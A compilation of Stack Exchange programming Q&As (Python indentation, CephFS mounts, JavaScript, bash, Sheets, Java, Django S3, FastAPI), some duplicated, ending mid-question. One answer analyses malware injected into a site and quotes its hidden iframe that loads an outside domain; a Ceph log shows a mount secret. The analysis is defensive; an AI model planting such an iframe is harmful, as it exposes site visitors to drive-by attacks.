问:
What is inconsistent use of tabs and spaces in indentation?
I am making a python program that reads an image and creates a level according to every pixel's color.
Although , when i run it, I'm getting this error "inconsistent use of tabs and spaces in indentation" at line 139. It's quite frustrating because I can't figure out why it is wrong.

I've already tried changing the indentation size to 2, 4 and 8 but it fixed nothing

Here's my code

```<code>#Libraries
import Image
from os import system
from random import randint

#Object class
class object:
    def __init__(self, x , y, facing, image, type):
        self.x = x
        self.y = y
        self.facing = facing
        self.image = image
        self.type = type

#Game variables
entities = []
score = 0
pixels = []

#Read image
pic = Image.open("level1.png", mode="r")

#Get image size
width = pic.size[0]
height = pic.size[1]
picload = pic.load()

#Create pixel array
for y in range(height):
  for x in range(width):
    pixels.append(picload[x, y])

#Read all pixels
x = 0
y = 0

for i in range(len(pixels)):

  #Change x y coordinates
  x += 1
  if x % height == 0:
    x = 0
    y += 1

  pixel = pixels[i]

  r = pixel[0]
  g = pixel[1]
  b = pixel[2]
  a = pixel[3]

  #Create object based on pixel info
  #If pixel is black
  if r >= 200 and g >= 200 and b >= 200: entities.append(x, y, "r", "■", "wall")
  #If pixel is red
  elif r >= 200 and g <= 50 and b <= 50: entities.append(x, y, "r", "•", "food")
  #if pixel is blue
  elif r <= 50 and g <= 50 and b >= 200: entities.append(x, y, "r", "☺", "player")

#Running the level
while True:

    #output
  print("Output:", output)
  output = ""
  print("Score:", score)

  for y in range(height):
      print("")
      for x in range(width):

          drawed = False
          for i in range(len(entities)):
              entity = entities[i]
              if entity.x == x and entity.y == y and drawed == False:
                  drawed = True
                  print(entity.image, end = "")

          if not drawed: print(".", end="")

    #input

  dir = input("\n\n####################\nWASD: ").lower()

    #processing

    #movement
  for i in range(len(entities)):
      entity = entities[i]
      ii = i
      if entity.type == "player":

        if dir == "w":
            entity.y -= 1
            entity.facing = "u"

        elif dir == "s":
            entity.y += 1
            entity.facing = "d"

        elif dir == "a":
            entity.x -= 1
            entity.facing = "l"

        elif dir == "d":
            entity.x += 1
            entity.facing = "r"

        for h in range(len(entities)):
            centity = entities[h]
            if entity.x == centity.x and entity.y == centity.y and not ii == h:

                if dir == "w":entity.y += 1

                elif dir == "s":entity.y -= 1

                elif dir == "a":entity.x += 1

                elif dir == "d": entity.x -=1

    #colisions
  for h in range(len(entities)):
    entity = entities[h]
    f = entity.facing

    cx = entity.x
    cy = entity.y

    if f == "r": cx += 1
    elif f == "l": cx -= 1
    elif f == "u": cy -= 1
    elif f == "d": cy += 1

    for i in range(len(entities)):
        centity = entities[i]
        if centity.x == cx and centity.y == cy:
        print("a")

  #Clear terminal
    system("clear")
</code>```

答:
You can either use spaces or tabs for indentation. But you cannot mix them. If you use spaces, you need to use the same amount of spaces every time.

Can you try:

```<code>#Libraries
import Image
from os import system
from random import randint

#Object class
class object:
    def __init__(self, x , y, facing, image, type):
        self.x = x
        self.y = y
        self.facing = facing
        self.image = image
        self.type = type

#Game variables
entities = []
score = 0
pixels = []

#Read image
pic = Image.open("level1.png", mode="r")

#Get image size
width = pic.size[0]
height = pic.size[1]
picload = pic.load()

#Create pixel array
for y in range(height):
    for x in range(width):
      pixels.append(picload[x, y])

#Read all pixels
x = 0
y = 0

for i in range(len(pixels)):

    #Change x y coordinates
    x += 1
    if x % height == 0:
        x = 0
        y += 1

    pixel = pixels[i]

    r = pixel[0]
    g = pixel[1]
    b = pixel[2]
    a = pixel[3]

    #Create object based on pixel info
    #If pixel is black
    if r >= 200 and g >= 200 and b >= 200: entities.append(x, y, "r", "■", "wall")
    #If pixel is red
    elif r >= 200 and g <= 50 and b <= 50: entities.append(x, y, "r", "•", "food")
    #if pixel is blue
    elif r <= 50 and g <= 50 and b >= 200: entities.append(x, y, "r", "☺", "player")

#Running the level
while True:

    #output
    print("Output:", output)
    output = ""
    print("Score:", score)

    for y in range(height):
        print("")
        for x in range(width):

            drawed = False
            for i in range(len(entities)):
                entity = entities[i]
                if entity.x == x and entity.y == y and drawed == False:
                    drawed = True
                    print(entity.image, end = "")

            if not drawed: print(".", end = "")

      #input

    dir = input("\n\n####################\nWASD: ").lower()

    #processing

    #movement
    for i in range(len(entities)):
        entity = entities[i]
        ii = i
        if entity.type == "player":

          if dir == "w":
              entity.y -= 1
              entity.facing = "u"

          elif dir == "s":
              entity.y += 1
              entity.facing = "d"

          elif dir == "a":
              entity.x -= 1
              entity.facing = "l"

          elif dir == "d":
              entity.x += 1
              entity.facing = "r"

          for h in range(len(entities)):
              centity = entities[h]
              if entity.x == centity.x and entity.y == centity.y and not ii == h:

                  if dir == "w":entity.y += 1

                  elif dir == "s":entity.y -= 1

                  elif dir == "a":entity.x += 1

                  elif dir == "d": entity.x -=1

    #colisions
    for h in range(len(entities)):
        entity = entities[h]
        f = entity.facing

        cx = entity.x
        cy = entity.y

        if f == "r": cx += 1
        elif f == "l": cx -= 1
        elif f == "u": cy -= 1
        elif f == "d": cy += 1

        for i in range(len(entities)):
            centity = entities[i]
            if centity.x == cx and centity.y == cy:
                print("a")

        #Clear terminal
        system("clear")
</code>```

Body:
I am making a python program that reads an image and creates a level according to every pixel's color.
Although , when i run it, I'm getting this error "inconsistent use of tabs and spaces in indentation" at line 139. It's quite frustrating because I can't figure out why it is wrong.

I've already tried changing the indentation size to 2, 4 and 8 but it fixed nothing

Here's my code

#Libraries
import Image
from os import system
from random import randint

#Object class
class object:
    def __init__(self, x , y, facing, image, type):
        self.x = x
        self.y = y
        self.facing = facing
        self.image = image
        self.type = type

#Game variables
entities = []
score = 0
pixels = []

#Read image
pic = Image.open("level1.png", mode="r")

#Get image size
width = pic.size[0]
height = pic.size[1]
picload = pic.load()

#Create pixel array
for y in range(height):
  for x in range(width):
    pixels.append(picload[x, y])

#Read all pixels
x = 0
y = 0

for i in range(len(pixels)):

  #Change x y coordinates
  x += 1
  if x % height == 0:
    x = 0
    y += 1

  pixel = pixels[i]

  r = pixel[0]
  g = pixel[1]
  b = pixel[2]
  a = pixel[3]

  #Create object based on pixel info
  #If pixel is black
  if r >= 200 and g >= 200 and b >= 200: entities.append(x, y, "r", "■", "wall")
  #If pixel is red
  elif r >= 200 and g <= 50 and b <= 50: entities.append(x, y, "r", "•", "food")
  #if pixel is blue
  elif r <= 50 and g <= 50 and b >= 200: entities.append(x, y, "r", "☺", "player")

#Running the level
while True:

    #output
  print("Output:", output)
  output = ""
  print("Score:", score)

  for y in range(height):
      print("")
      for x in range(width):

          drawed = False
          for i in range(len(entities)):
              entity = entities[i]
              if entity.x == x and entity.y == y and drawed == False:
                  drawed = True
                  print(entity.image, end = "")

          if not drawed: print(".", end="")

    #input

  dir = input("\n\n####################\nWASD: ").lower()

    #processing

    #movement
  for i in range(len(entities)):
      entity = entities[i]
      ii = i
      if entity.type == "player":

        if dir == "w":
            entity.y -= 1
            entity.facing = "u"

        elif dir == "s":
            entity.y += 1
            entity.facing = "d"

        elif dir == "a":
            entity.x -= 1
            entity.facing = "l"

        elif dir == "d":
            entity.x += 1
            entity.facing = "r"

        for h in range(len(entities)):
            centity = entities[h]
            if entity.x == centity.x and entity.y == centity.y and not ii == h:

                if dir == "w":entity.y += 1

                elif dir == "s":entity.y -= 1

                elif dir == "a":entity.x += 1

                elif dir == "d": entity.x -=1

    #colisions
  for h in range(len(entities)):
    entity = entities[h]
    f = entity.facing

    cx = entity.x
    cy = entity.y

    if f == "r": cx += 1
    elif f == "l": cx -= 1
    elif f == "u": cy -= 1
    elif f == "d": cy += 1

    for i in range(len(entities)):
        centity = entities[i]
        if centity.x == cx and centity.y == cy:
        print("a")

  #Clear terminal
    system("clear")

Body:
You can either use spaces or tabs for indentation. But you cannot mix them. If you use spaces, you need to use the same amount of spaces every time.

Can you try:

#Libraries
import Image
from os import system
from random import randint

#Object class
class object:
    def __init__(self, x , y, facing, image, type):
        self.x = x
        self.y = y
        self.facing = facing
        self.image = image
        self.type = type

#Game variables
entities = []
score = 0
pixels = []

#Read image
pic = Image.open("level1.png", mode="r")

#Get image size
width = pic.size[0]
height = pic.size[1]
picload = pic.load()

#Create pixel array
for y in range(height):
    for x in range(width):
      pixels.append(picload[x, y])

#Read all pixels
x = 0
y = 0

for i in range(len(pixels)):

    #Change x y coordinates
    x += 1
    if x % height == 0:
        x = 0
        y += 1

    pixel = pixels[i]

    r = pixel[0]
    g = pixel[1]
    b = pixel[2]
    a = pixel[3]

    #Create object based on pixel info
    #If pixel is black
    if r >= 200 and g >= 200 and b >= 200: entities.append(x, y, "r", "■", "wall")
    #If pixel is red
    elif r >= 200 and g <= 50 and b <= 50: entities.append(x, y, "r", "•", "food")
    #if pixel is blue
    elif r <= 50 and g <= 50 and b >= 200: entities.append(x, y, "r", "☺", "player")

#Running the level
while True:

    #output
    print("Output:", output)
    output = ""
    print("Score:", score)

    for y in range(height):
        print("")
        for x in range(width):

            drawed = False
            for i in range(len(entities)):
                entity = entities[i]
                if entity.x == x and entity.y == y and drawed == False:
                    drawed = True
                    print(entity.image, end = "")

            if not drawed: print(".", end = "")

      #input

    dir = input("\n\n####################\nWASD: ").lower()

    #processing

    #movement
    for i in range(len(entities)):
        entity = entities[i]
        ii = i
        if entity.type == "player":

          if dir == "w":
              entity.y -= 1
              entity.facing = "u"

          elif dir == "s":
              entity.y += 1
              entity.facing = "d"

          elif dir == "a":
              entity.x -= 1
              entity.facing = "l"

          elif dir == "d":
              entity.x += 1
              entity.facing = "r"

          for h in range(len(entities)):
              centity = entities[h]
              if entity.x == centity.x and entity.y == centity.y and not ii == h:

                  if dir == "w":entity.y += 1

                  elif dir == "s":entity.y -= 1

                  elif dir == "a":entity.x += 1

                  elif dir == "d": entity.x -=1

    #colisions
    for h in range(len(entities)):
        entity = entities[h]
        f = entity.facing

        cx = entity.x
        cy = entity.y

        if f == "r": cx += 1
        elif f == "l": cx -= 1
        elif f == "u": cy -= 1
        elif f == "d": cy += 1

        for i in range(len(entities)):
            centity = entities[i]
            if centity.x == cx and centity.y == cy:
                print("a")

        #Clear terminal
        system("clear")


来源: stackexchange

问:
CephFS: mount failed: mount failed: exit status 1
Mounting command: systemd-run
Mounting arguments: --description=Kubernetes transient mount for /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8 --scope -- mount -t ceph -o name=kubernetes-dynamic-user-41748797-4ea2-11ea-b682-defbd1d056a0,secret=AQA5tkVedrrdORAAWtrhAYBMNJBXsDqgSgWv0g== ceph-mon.ceph.svc.cluster.local:6789:/volumes/kubernetes/kubernetes/kubernetes-dynamic-pvc-4174871a-4ea2-11ea-b682-defbd1d056a0 /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8
Output: Running scope as unit: run-r4a7962524413479a861d0cdc02f9592b.scope
couldn't finalize options: -34
  Warning  FailedMount  9m35s  kubelet, minikube  MountVolume.SetUp failed for volume "pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8" : CephFS: mount failed: mount failed: exit status 1
Mounting command: systemd-run
Mounting arguments: --description=Kubernetes transient mount for /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8 --scope -- mount -t ceph -o name=kubernetes-dynamic-user-41748797-4ea2-11ea-b682-defbd1d056a0,secret=AQA5tkVedrrdORAAWtrhAYBMNJBXsDqgSgWv0g== ceph-mon.ceph.svc.cluster.local:6789:/volumes/kubernetes/kubernetes/kubernetes-dynamic-pvc-4174871a-4ea2-11ea-b682-defbd1d056a0 /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8
Output: Running scope as unit: run-r15199da4f3c242acbbff2c1e8b627bed.scope
couldn't finalize options: -34
  Warning  FailedMount  9m3s  kubelet, minikube  MountVolume.SetUp failed for volume "pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8" : CephFS: mount failed: mount failed: exit status 1
Mounting command: systemd-run
Mounting arguments: --description=Kubernetes transient mount for /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8 --scope -- mount -t ceph -o name=kubernetes-dynamic-user-41748797-4ea2-11ea-b682-defbd1d056a0,secret=AQA5tkVedrrdORAAWtrhAYBMNJBXsDqgSgWv0g== ceph-mon.ceph.svc.cluster.local:6789:/volumes/kubernetes/kubernetes/kubernetes-dynamic-pvc-4174871a-4ea2-11ea-b682-defbd1d056a0 /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8
Output: Running scope as unit: run-rd0eba6d627054dbe9ca488f05bb603cf.scope
couldn't finalize options: -34
  Warning  FailedMount  5m48s (x2 over 8m4s)  kubelet, minikube  Unable to attach or mount volumes: unmounted volumes=[pvc], unattached volumes=[pvc default-token-rc9k2 ceph-cm-test]: timed out waiting for the condition
  Warning  FailedMount  112s (x5 over 7m59s)  kubelet, minikube  (combined from similar events): MountVolume.SetUp failed for volume "pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8" : CephFS: mount failed: mount failed: exit status 1
Mounting command: systemd-run
Mounting arguments: --description=Kubernetes transient mount for /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8 --scope -- mount -t ceph -o name=kubernetes-dynamic-user-41748797-4ea2-11ea-b682-defbd1d056a0,secret=AQA5tkVedrrdORAAWtrhAYBMNJBXsDqgSgWv0g== ceph-mon.ceph.svc.cluster.local:6789:/volumes/kubernetes/kubernetes/kubernetes-dynamic-pvc-4174871a-4ea2-11ea-b682-defbd1d056a0 /var/lib/kubelet/pods/3a4bc496-b994-49d2-96f4-bfd966824674/volumes/kubernetes.io~cephfs/pvc-947a7e07-b8fa-48d1-ae11-89ac949ac3a8
Output: Running scope as unit: run-r56f5716008b14ca19520fc6b9ebb3493.scope
couldn't finalize options: -34</p>

答:
Had you run a search for that couldn't finalize options: -34 error, you would have discovered the existing Ceph bug and the mailing list thread discussing it where they say that the name= is too long. You should try to shorten the name, maybe by removing kubernetes-dynamic- from the name.

Since you didn't include any version information in your question, no one can say whether the recent release of 14.2.7 will help you or not, but it contains security updates so if you're not running 14.2.7 already, you are strongly encouraged to upgrade anyway.

ContentLicense: CC BY-SA 4.0


问:
Change array elements to objects with key, value
Can anyone tell me how to change this array in javaScript to the following one with objects having the same key 'name' ?

```<code>const myArray = ['mark', 'david', 'monica'];
</code>```

Desired Output:

```<code>const myArray = [{name: 'mark'}, {name: 'david'}, {name: 'monica'}];
</code>```

答:
You can use Array.prototype.map

const myArray = ['mark', 'david', 'monica'];
const result = myArray.map(i => ({
  name: i
}));
console.log(result);```

Body:
Can anyone tell me how to change this array in javaScript to the following one with objects having the same key 'name' ?

const myArray = ['mark', 'david', 'monica'];

Desired Output:

const myArray = [{name: 'mark'}, {name: 'david'}, {name: 'monica'}];


问:
Create timestamp variable in bash script
I am trying to create a timestamp variable in a shell script to make the logging a little easier. I want to create the variable at the beginning of the script and have it print out the current time whenever I issue echo $timestamp. It proving to be more difficult then I thought. Here are some things I've tried:

timestamp="(date +"%T")" echo prints out (date +"%T")

timestamp="$(date +"%T")" echo prints the time when the variable was initialized.

Other things I've tried are just slight variations that didn't work any better. Does anyone know how to accomplish what I'm trying to do?

答:
And for my fellow Europeans, try using this:

```<code>timestamp=$(date +%d-%m-%Y_%H-%M-%S)
</code>```

will give a format of the format: "15-02-2020_19-21-58"

You call the variable and get the string representation like this

```<code>$timestamp
</code>```

ContentLicense: CC BY-SA 3.0

Body:
And for my fellow Europeans, try using this:

timestamp=$(date +%d-%m-%Y_%H-%M-%S)

will give a format of the format: "15-02-2020_19-21-58"

You call the variable and get the string representation like this

$timestamp


问:
Why is it sometimes impossible to edit Google Sheets formula line spacing?

I added spacing to the above formula, but as you can see there is a double line spacing near the bottom, and I'd like to add spacing at the top.  Yet no matter what I do, it maintains the same format.  I've even copied the formula to notepad, formatted it, deleted the formula from the cell, entered garbage into that cell to try to reset it, pasted the formula and BAAAM - it puts the spacing back where I don't want it.

Google Sheets has some PITA nuances to it, but this is really stupid.  What am I missing?

答:
Google Sheets remembers unnecessary stuff like all previous states of formatings. this, however, can be easily tricked. all you need to do is lowercase any function in a set and that qualifies as a "new" state.

in your case, you can set your desired format and then change IFERROR for iFERROR or IfErRoR or whatever you wish.

also it would work if you just change Region to region

or use alternative syntax logic like instead of:

```<code>IF(OR($B$13="Region", ISBLANK($C19)),,
</code>```

you can write:

```<code>IF(($B$13="Region")+(ISBLANK($C19)),,
</code>```

or:

```<code>IF(($B$13="Region")+($C19=""),,
</code>```

which is all the same

also you can just wrap it into some other formula which won't anyhow affect the final result. it could be QUERY, INDEX, ARRAYFORMULA, ... just to add some more characters to it to force the new custom format

Body:
Google Sheets remembers unnecessary stuff like all previous states of formatings. this, however, can be easily tricked. all you need to do is lowercase any function in a set and that qualifies as a "new" state.

in your case, you can set your desired format and then change IFERROR for iFERROR or IfErRoR or whatever you wish.

also it would work if you just change Region to region

or use alternative syntax logic like instead of:

IF(OR($B$13="Region", ISBLANK($C19)),,

you can write:

IF(($B$13="Region")+(ISBLANK($C19)),,

or:

IF(($B$13="Region")+($C19=""),,

which is all the same

also you can just wrap it into some other formula which won't anyhow affect the final result. it could be QUERY, INDEX, ARRAYFORMULA, ... just to add some more characters to it to force the new custom format


答:
Via the power of JSUnpack, we can decrypt a chunk of that obfuscated code and see part of the functionality...

document.write (s)

That source is currently 404, but it doesn't look very friendly. It's effectively downloading an arbitrary page into the browser, which could be for something as "simple" as fake Pagerank building through to a malicious drive by code execution exploit. Regardless, it appears dead for now, but it probably wasn't trying to help you.

You seem to have some kind of XSS injection flaw in your site software (or a malicious internal user). Looks like it's time for a proper security audit (both of server, server software, and your PHP application). If you're running an off the shelf PHP package (like Wordpress), make sure you've upgraded to the latest version. You might also want to change any relevant passwords (if it's happening on a regular schedule, it might be a manual injection).

Title: What does this script do?

Body:
Would anybody be able to tell me what the below script does? It keeps injecting itself into our site about every two weeks (always between Sundays and Mondays). We've reloaded our "clean" site dozens of times but it just keeps happening. We've installed and made every security recommendation that we've read but it just keeps getting into all of our index.html files and a few of our php files.

Anybody have any idea of what it does or where it comes from? We could really use some help!

Body:
Via the power of JSUnpack, we can decrypt a chunk of that obfuscated code and see part of the functionality...

document.write (s)  <iframe src='http://doloasxxxxedoutforsafety.com/count0.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>

That source is currently 404, but it doesn't look very friendly. It's effectively downloading an arbitrary page into the browser, which could be for something as "simple" as fake Pagerank building through to a malicious drive by code execution exploit. Regardless, it appears dead for now, but it probably wasn't trying to help you.

You seem to have some kind of XSS injection flaw in your site software (or a malicious internal user). Looks like it's time for a proper security audit (both of server, server software, and your PHP application). If you're running an off the shelf PHP package (like Wordpress), make sure you've upgraded to the latest version. You might also want to change any relevant passwords (if it's happening on a regular schedule, it might be a manual injection).


问:
Find the smallest positive integer that does not occur in a given sequence
I was trying to solve this problem:

Write a function:

```<code>class Solution { public int solution(int[] A); }
</code>```

that, given an array A of N integers, returns the smallest positive
integer (greater than 0) that does not occur in A.

For example, given A = [1, 3, 6, 4, 1, 2], the function should return
5.

```<code>Given A = [1, 2, 3], the function should return 4.

Given A = [−1, −3], the function should return 1.
</code>```

Assume that:

N is an integer within the range [1..100,000]; each element of array A
is an integer within the range [−1,000,000..1,000,000]. Complexity:

expected worst-case time complexity is O(N); expected worst-case space
complexity is O(N) (not counting the storage required for input
arguments).

I wrote the solution below which gives a low performance, however, I can't see the bug.

public static int solution(int[] A) {

        Set<Integer> set = new TreeSet<>();

        for (int a : A) {
            set.add(a);
        }

        int N = set.size();

        int[] C = new int[N];

        int index = 0;

        for (int a : set) {
            C[index++] = a;
        }

        for (int i = 0; i < N; i++) {

            if (C[i] > 0 && C[i] <= N) {
                C[i] = 0;
            }
        }

        for (int i = 0; i < N; i++) {

            if (C[i] != 0) {
                return (i + 1);
            }
        }

        return (N + 1);
    }

```

The score is provided here,

I will keep investigating myself, but please inform me if you can see better.

答:
My simple and (time) efficient Java solution:</p>

```<code>import java.util.*;

class Solution {
    public int solution(int[] A) {
        Set<Integer> set=new TreeSet<>();
        for (int x:A) {
            if (x>0) {
                set.add(x);
            }
        }

        int y=1;
        Iterator<Integer> it=set.iterator();
        while (it.hasNext()) {
            int curr=it.next();
            if (curr!=y) {
                return y;
            }
            y++;
        }
        return y;
    }
}
</code>```

Body:
I was trying to solve this problem:

Write a function:

class Solution { public int solution(int[] A); }

that, given an array A of N integers, returns the smallest positive
integer (greater than 0) that does not occur in A.

For example, given A = [1, 3, 6, 4, 1, 2], the function should return
5.

Given A = [1, 2, 3], the function should return 4.

Given A = [−1, −3], the function should return 1.

Assume that:

N is an integer within the range [1..100,000]; each element of array A
is an integer within the range [−1,000,000..1,000,000]. Complexity:

expected worst-case time complexity is O(N); expected worst-case space
complexity is O(N) (not counting the storage required for input
arguments).

I wrote the solution below which gives a low performance, however, I can't see the bug.

public static int solution(int[] A) {

        Set<Integer> set = new TreeSet<>();

        for (int a : A) {
            set.add(a);
        }

        int N = set.size();

        int[] C = new int[N];

        int index = 0;

        for (int a : set) {
            C[index++] = a;
        }

        for (int i = 0; i < N; i++) {

            if (C[i] > 0 && C[i] <= N) {
                C[i] = 0;
            }
        }

        for (int i = 0; i < N; i++) {

            if (C[i] != 0) {
                return (i + 1);
            }
        }

        return (N + 1);
    }

The score is provided here,

I will keep investigating myself, but please inform me if you can see better.

Body:
My simple and (time) efficient Java solution:

import java.util.*;

class Solution {
    public int solution(int[] A) {
        Set<Integer> set=new TreeSet<>();
        for (int x:A) {
            if (x>0) {
                set.add(x);
            }
        }

        int y=1;
        Iterator<Integer> it=set.iterator();
        while (it.hasNext()) {
            int curr=it.next();
            if (curr!=y) {
                return y;
            }
            y++;
        }
        return y;
    }
}


问:
How do I make media files display automatically in django using s3 as storage?
I configured my s3 settings like so:

```<code>DEFAULT_FILE_STORAGE = 'Bonychicken.storage_backends.MediaStorage'
AWS_STORAGE_BUCKET_NAME = 'bonychicken'
AWS_S3_REGION_NAME = 'us-east-2'
AWS_ACCESS_KEY_ID = '<my access key id>'
AWS_SECRET_ACCESS_KEY = '<my secret access key>'
AWS_S3_CUSTOM_DOMAIN = f"{AWS_STORAGE_BUCKET_NAME}.s3.{AWS_S3_REGION_NAME}.amazonaws.com"
AWS_QUERYSTRING_AUTH = False
AWS_DEFAULT_ACL = None
STATIC_URL = '/static/'
MEDIAFILES_LOCATION = 'media'
MEDIA_URL = f"https://{AWS_S3_CUSTOM_DOMAIN}/media/"
MEDIA_ROOT = f"https://{AWS_S3_CUSTOM_DOMAIN}/media/"
AWS_IS_GZIPPED = True
AWS_S3_OBJECT_PARAMETERS = {
    'CacheControl': 'max-age=86400',
}
</code>```

My storage class is:

```<code>from storages.backends.s3boto3 import S3Boto3Storage

class MediaStorage(S3Boto3Storage):
    bucket_name = 'bonychicken'
    location = 'media'
    file_overwrite = False
</code>```

I added storages to my installed apps and boto3 is also installed.

CORS Configuration is:

```<code><?xml version="1.0" encoding="UTF-8"?>
<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<CORSRule>
    <AllowedOrigin>*</AllowedOrigin>
    <AllowedMethod>GET</AllowedMethod>
    <MaxAgeSeconds>3000</MaxAgeSeconds>
    <AllowedHeader>Authorization</AllowedHeader>
</CORSRule>
</CORSConfiguration>
</code>```

block public access has been turned off.
IAM user has permissions to the bucket.

The problem is, whenever I upload a file, it is uploaded to my s3 bucket but it doesn't show on the html page. Trying to access the image url from the source code yields:

```<code><Error>
    <Code>AccessDenied</Code>
    <Message>Access Denied</Message>
    <RequestId><random letters here></RequestId>
    <HostId>
        <random letters here>
    </HostId>
</Error>
</code>```

But if I go to my bucket settings and select actions and click on make public after marking the media files, everything starts working. This means for each image uploaded, I have to mark and repeat over and over again.

How do I solve this?

答:
I think that you should change the default ACL in your AWS settings as shown in the docs.

Just set the AWS_DEFAULT_ACL to AWS_DEFAULT_ACL='public-read'.

Body:
I configured my s3 settings like so:

DEFAULT_FILE_STORAGE = 'Bonychicken.storage_backends.MediaStorage'
AWS_STORAGE_BUCKET_NAME = 'bonychicken'
AWS_S3_REGION_NAME = 'us-east-2'
AWS_ACCESS_KEY_ID = '<my access key id>'
AWS_SECRET_ACCESS_KEY = '<my secret access key>'
AWS_S3_CUSTOM_DOMAIN = f"{AWS_STORAGE_BUCKET_NAME}.s3.{AWS_S3_REGION_NAME}.amazonaws.com"
AWS_QUERYSTRING_AUTH = False
AWS_DEFAULT_ACL = None
STATIC_URL = '/static/'
MEDIAFILES_LOCATION = 'media'
MEDIA_URL = f"https://{AWS_S3_CUSTOM_DOMAIN}/media/"
MEDIA_ROOT = f"https://{AWS_S3_CUSTOM_DOMAIN}/media/"
AWS_IS_GZIPPED = True
AWS_S3_OBJECT_PARAMETERS = {
    'CacheControl': 'max-age=86400',
}

My storage class is:

from storages.backends.s3boto3 import S3Boto3Storage

class MediaStorage(S3Boto3Storage):
    bucket_name = 'bonychicken'
    location = 'media'
    file_overwrite = False

I added storages to my installed apps and boto3 is also installed.

CORS Configuration is:

<?xml version="1.0" encoding="UTF-8"?>
<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<CORSRule>
    <AllowedOrigin>*</AllowedOrigin>
    <AllowedMethod>GET</AllowedMethod>
    <MaxAgeSeconds>3000</MaxAgeSeconds>
    <AllowedHeader>Authorization</AllowedHeader>
</CORSRule>
</CORSConfiguration>

block public access has been turned off.
IAM user has permissions to the bucket.

The problem is, whenever I upload a file, it is uploaded to my s3 bucket but it doesn't show on the html page. Trying to access the image url from the source code yields:

<Error>
    AccessDenied
    <Message>Access Denied</Message>
    <RequestId><random letters here></RequestId>
    <HostId>
        <random letters here>
    </HostId>
</Error>

But if I go to my bucket settings and select actions and click on make public after marking the media files, everything starts working. This means for each image uploaded, I have to mark and repeat over and over again.

How do I solve this?


问:
What is the meaning of pydantic models(schemas) in Python while building an API with FastAPI
I am new at python, and I am trying to build an API with FastAPI.
It's working so far, I connected with postgres db, I made post/get/ request and everything is working, but I don't have good understanding why we define the schemas like this, why do we have to create an

class UserBase(BaseModel)

class UserCreate(UserBase)

class User(UserBase)

I will post the source code, for all the files, and if you guys could help me to get a good understanding over this,it would really help me so much, because I've got an assignement for tomorrow.

schemas.py

```<code>from typing import List
from pydantic import BaseModel

##BOOKING
class BookingBase(BaseModel):
    name:str
    description:str = None

class BookingCreate(BookingBase):
    pass

class Booking(BookingBase):
    id:int
    user_id:int

    class Config:
        orm_mode = True

##USER
class UserBase(BaseModel):
    email: str

class UserCreate(UserBase):
    password: str

class User(UserBase):
    id: int
    is_active: bool
    bookings: List[Booking] = []

    class Config:
        orm_mode = True

</code>```

models.py

```<code>from .database import Base
from sqlalchemy import Boolean, Column, ForeignKey, Integer, String,DateTime
from sqlalchemy.sql import func
from sqlalchemy.orm import relationship

class User(Base):
    __tablename__ = "users"

    id = Column(Integer, primary_key=True,index=True)
    email = Column(String, unique=True, index= True)
    hashed_password = Column(String)
    is_active = Column(Boolean,default=True)

    bookings = relationship("Booking", back_populates="owner")

class Booking(Base):
    __tablename__ = "bookings"

    id=Column(Integer,primary_key=True,index=True)
    name = Column(String,index=True)
    description = Column(String, index=True)
    created_date = Column(DateTime, server_default=func.now())
    user_id = Column(Integer,ForeignKey("users.id"))

    owner = relationship("User",back_populates="bookings")
</code>```

crud.py

```<code>from . import models,schemas
from sqlalchemy.orm import Session

def get_user(db:Session,user_id:int):
    return db.query(models.User).filter(models.User.id == user_id).first()

def fetch_user_by_email(db:Session,email:str):
    return db.query(models.User).filter(models.User.email == email).first()

def get_all_users(db: Session, skip: int = 0, limit: int = 100):
    return db.query(models.User).offset(skip).limit(limit).all()

def get_bookings(db:Session,skip:int=0,limit:int=100):
    return db.query(models.Booking).offset(skip).limit(limit).all()

def create_new_user(db:Session,user:schemas.UserCreate):
    testing_hashed = user.password + "test"
    db_user = models.User(email=user.email,hashed_password=testing_hashed)
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return db_user

def create_user_booking(db: Session, booking: schemas.BookingCreate, user_id: int):
    db_item = models.Booking(**booking.dict(), user_id=user_id)
    db.add(db_item)
    db.commit()
    db.refresh(db_item)
    return db_item
</code>```

database.py

```<code>from sqlalchemy import create_engine
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker

# SQLALCHEMY_DATABASE_URL = "sqlite:///./test.db"
SQLALCHEMY_DATABASE_URL = "postgresql://postgres:root@localhost/meetingbookerdb"

##Creating the SQLAlchemy ORM engine..>> above we have imported create_engine method from sqlalchemy
##Since we are using Postgres we dont need anything else

create_engine

engine = create_engine(
    SQLALCHEMY_DATABASE_URL
)

#Creating SessionLocal class which will be database session on the request..

SessionLocal = sessionmaker(autocommit=False,autoflush=False,bind=engine)

## Creating the base clase, using the declerative_base() method which returns a class.
## Later we will need this Base Class to create each of the database models

Base = declarative_base()
</code>```

and main.py

```<code>from typing import List

from fastapi import Depends, FastAPI, HTTPException
from sqlalchemy.orm import Session

from .app import crud, models, schemas
from .app.database  import SessionLocal, engine

models.Base.metadata.create_all(bind=engine)

app = FastAPI()

# Dependency
def get_db():
    try:
        db = SessionLocal()
        yield db
    finally:
        db.close()

